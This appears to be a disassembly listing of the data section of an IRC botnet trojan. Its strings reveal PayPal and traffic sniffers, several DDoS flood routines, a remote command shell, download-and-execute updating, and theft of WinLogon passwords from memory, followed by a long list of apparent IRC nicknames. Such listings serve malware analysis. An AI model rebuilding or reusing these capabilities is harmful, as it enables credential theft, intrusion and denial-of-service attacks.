		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AEC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43818C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438438	dd offset loc_5C3A40+1	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43859C	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385B4	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
